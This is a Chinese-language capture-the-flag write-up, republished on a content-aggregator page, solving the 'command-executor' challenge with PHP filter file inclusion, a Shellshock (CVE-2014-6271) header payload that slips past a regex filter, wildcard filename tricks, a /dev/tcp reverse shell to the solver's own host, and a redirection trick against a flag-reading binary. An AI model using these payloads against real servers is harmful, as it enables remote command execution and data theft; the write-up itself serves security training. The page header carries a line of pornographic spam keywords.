日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

24.command-executor

發布時間:2024/4/17 编程问答 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 24.command-executor 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

這里先給出題目鏈接:

https://command-executor.hackme.inndy.tw/

?這是一道不錯的ctf題,首先說一下考察點:

文件包含讀源碼 代碼分析結合CVE CVE導致的命令執行 寫入文件/反彈shell 思考c文件的解法 重定向獲取flag

?我們先看一下題目主頁面:

發現有敏感的選項,我們嘗試點擊:

發現可以遍歷目錄,但是對輸入的命令有限制,只能執行ls,env 。

但是我們觀察上圖發現有幾個php的文件名有似曾相識的感覺,比如 cmd.php , ls.php ,

?man.php , untar.php 這幾個php的文件名 ls , cmd , untar 像是url中func包含過來的參數,

這樣的話,是不是存在文件包含漏洞,我們構造poc:

php://filter/read=convert.base64-encode/resource=index

?這樣的話,我們用func接受這個參數,就可以讀到base64加密過后的index.php文件:

成功讀到base64加密過后的index.php文件,我們解密分析:

<?php $pages = [['man', 'Man'],['untar', 'Tar Tester'],['cmd', 'Cmd Exec'],['ls', 'List files'], ];function fuck($msg) {header('Content-Type: text/plain');echo $msg;exit; }$black_list = ['\/flag', '\(\)\s*\{\s*:;\s*\};' ];function waf($a) {global $black_list;if(is_array($a)) {foreach($a as $key => $val) {waf($key);waf($val);}} else {foreach($black_list as $b) {if(preg_match("/$b/", $a) === 1) {fuck("$b detected! exit now.");}}} }waf($_SERVER); waf($_GET); waf($_POST);function execute($cmd, $shell='bash') {system(sprintf('%s -c %s', $shell, escapeshellarg($cmd))); }foreach($_SERVER as $key => $val) {if(substr($key, 0, 5) === 'HTTP_') { putenv("$key=$val");} }$page = '';if(isset($_GET['func'])) {$page = $_GET['func'];if(strstr($page, '..') !== false) {$page = '';} }if($page && strlen($page) > 0) {try {include("$page.php");} catch (Exception $e) {} }

我們發現了一個比較敏感的putenv()函數,這個函數的作用是用來向環境表中添加或者修改環境變量

結合唯一可以執行的env命令想到2014年的一個重大漏洞:

?

CVE-2014-6271 破殼(ShellShock)漏洞

?

?具體漏洞詳情我會在稍后的博客中復現這個漏洞,清持續關注我的博客。

這里先貼出Freebuf的分析連接:

http://www.freebuf.com/articles/system/45390.html

確定了漏洞,就是嘗試可用exp的時候了,這時候可以容易google到
這樣一篇文章:

https://security.stackexchange.com/questions/68325/shellshock-attack-scenario-exploiting-php

?其中重點的一段如下:

可以清楚看到這樣一個payload:

wget --header="X-Exploit:(){:;};echo Hacked" -q -O - http://127.0.0.1/shock.php

并且和這個測試樣本和我們題目中給出的代碼十分相似:

foreach($_SERVER as $key => $val) {if(substr($key, 0, 5) === 'HTTP_') {putenv("$key=$val");} }

于是我們先去嘗試一下適用性:

可以發現我們被waf攔截了:

\(\)\s*\{\s*:;\s*\}; detected! exit now.

回去分析index.php的waf過濾點:

$black_list = ['\/flag', '\(\)\s*\{\s*:;\s*\};' ];function waf($a) {global $black_list;if(is_array($a)) {foreach($a as $key => $val) {waf($key);waf($val);}} else {foreach($black_list as $b) {if(preg_match("/$b/", $a) === 1) {fuck("$b detected! exit now.");}}} }

可以看到如上一個黑名單,
我們的

X-Exploit: () { :; };

?正是被這個黑名單禁止了,但是這樣的waf存在極大隱患,我們只要加個空格就可以輕松繞過:

X-Exploit: () { : ; };

?我們再次攻擊一次試試:

wget --header="X-Exploit: () { : ; }; echo Hacked" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

可以看到Hacked成功被打印出來,說明我們的poc起了作用,下面我們開始執行命令,

不過需要注意的是,shellshock執行命令需要加上/bin/ , 比如 cat 命令直接讀是讀不出來的,

需要 /bin/cat 才可以,我們嘗試讀 /etc/password : /bin/cat /etc/password

wget --header="X-Exploit: () { : ; }; /bin/cat /etc/passwd" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

發現命令可以成功執行,下面我們就用命令ls來尋找flag:

https://command-executor.hackme.inndy.tw/index.php?func=ls&file=../../../../../../

我們嘗試使用cat來讀一下flag文件:

wget --header="X-Exploit: () { : ; }; /bin/cat ../../../../../../flag" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

?

oh,shit...又被waf攔了

這里有沒有辦法繞過/flag呢?

這里給出兩條思路:

1.shell拼接,比如a=/fl;b=ag;c=a+b這樣(此處寫的不嚴謹,有興趣可以自己去研究一下) 2.通配符繞過

?這里我選擇第二點:

wget --header="X-Exploit: () { : ; }; /bin/cat ../../../../../../?lag" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

但這次并沒有回顯打出,但也沒有報錯,考慮是應為文件權限導致,

回去查看文件權限:

發現只有root才可讀....

發現下面有一個c語言寫的flag-reader.c,這個文件倒是有讀的權限,

我們讀一下他看有什么線索:

wget --header="X-Exploit: () { : ; }; /bin/cat ../../../../../../?lag-reader.c" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

打出回顯:

<!DOCTYPE html> <html lang="en"><head><meta charset="UTF-8"><title>Command Executor</title><link rel="stylesheet" href="bootstrap/css/bootstrap.min.css" media="all"><link rel="stylesheet" href="comic-neue/font.css" media="all"><style>nav { margin-bottom: 1rem; }img { max-width: 100%; }</style></head><body><nav class="navbar navbar-expand-lg navbar-dark bg-dark d-flex"><a class="navbar-brand" href="index.php">Command Executor</a><ul class="navbar-nav"><li class="nav-item"><a class="nav-link" href="index.php?func=man">Man</a></li><li class="nav-item"><a class="nav-link" href="index.php?func=untar">Tar Tester</a></li><li class="nav-item"><a class="nav-link" href="index.php?func=cmd">Cmd Exec</a></li><li class="nav-item"><a class="nav-link" href="index.php?func=ls">List files</a></li></ul></nav><div class="container"><h1>Command Execution</h1> <ul><li><a href="index.php?func=cmd&cmd=ls">ls</a></li><li><a href="index.php?func=cmd&cmd=env">env</a></li></ul> <form action="index.php" method="GET"><input type="hidden" name="func" value="cmd"><div class="input-group"><input class="form-control" type="text" name="cmd" id="cmd"><div class="input-group-append"><input class="btn btn-primary" type="submit" value="Execute"></div></div> </form> <script>cmd.focus();</script> <h2>$ env</h2><pre>#include <unistd.h> #include <syscall.h> #include <fcntl.h> #include <string.h>int main(int argc, char *argv[]) {char buff[4096], rnd[16], val[16];if(syscall(SYS_getrandom, &rnd, sizeof(rnd), 0) != sizeof(rnd)) {write(1, "Not enough random\n", 18);}setuid(1337);seteuid(1337);alarm(1);write(1, &rnd, sizeof(rnd));read(0, &val, sizeof(val));if(memcmp(rnd, val, sizeof(rnd)) == 0) {int fd = open(argv[1], O_RDONLY);if(fd > 0) {int s = read(fd, buff, 1024);if(s > 0) {write(1, buff, s);}close(fd);} else {write(1, "Can not open file\n", 18);}} else {write(1, "Wrong response\n", 16);} } </pre></div></body> </html>

審計這個c程序,大致原理就是:1秒之內把他輸出的再輸入回去,就可以打出文件內容

此時我們的思路很簡單,運行這個c程序,再把這個c程序輸出在1s內再輸回去,但是純靠這樣的交互,

速度極慢,所以容易想到,要不要拿個shell?

這里給出2種拿shell的思路

1.反彈shell 2.找到可寫目錄,并寫入文件,利用文件包含即可

?這里我選擇反彈shell(因為后面還會寫文件,所以這里選擇反彈,就不寫了)

wget --header="X-Exploit: () { : ; }; /bin/bash -i >& /dev/tcp/你的ip/11122 0>&1" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

?然后一會兒就能收到shell

而下面就只要解決如何在1s內輸入c文件輸出的結果這個問題了

這里我選擇了linux下的重定向,我們將輸出寫到某個文件中,再自動輸入即可,這樣即可達到目的

我們先去探索可寫目錄,發現 /var/tmp具有寫權限

我們測試一下:

然后來看寫進去了沒有:

成功寫入文件,證明這個目錄可以利用,我們構造:

flag-reader flag > /var/tmp/skyflag < /var/tmp/skyflag

?即可在skyflag中讀到flag

?

轉載于:https://www.cnblogs.com/bmjoker/p/9537667.html

總結

以上是生活随笔為你收集整理的24.command-executor的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。